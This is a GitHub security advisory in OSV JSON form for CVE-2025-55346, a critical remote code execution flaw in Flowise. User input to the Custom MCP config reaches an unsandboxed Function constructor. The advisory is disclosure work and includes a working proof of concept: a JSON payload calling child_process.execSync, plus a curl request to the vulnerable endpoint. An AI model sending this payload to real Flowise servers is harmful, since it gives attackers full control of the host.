CVE-2025-55346: Flowise Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hmgh-466j-fx4c",
  "modified" : "2025-10-06T14:08:45Z",
  "published" : "2025-10-06T14:08:45Z",
  "aliases" : [ "CVE-2025-55346" ],
  "summary" : "Flowise vulnerable to RCE via Dynamic function constructor injection",
  "details" : "### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise<Tool[]> {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error('MCP Server Config is required')\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === 'object') {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === 'string') {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, 'stdio')\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function('return ' + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error('Error converting to JSON:', error)\n        return ''\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.2.7-patch.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-627", "CWE-95" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-06T14:08:45Z",
    "nvd_published_at" : null
  }
}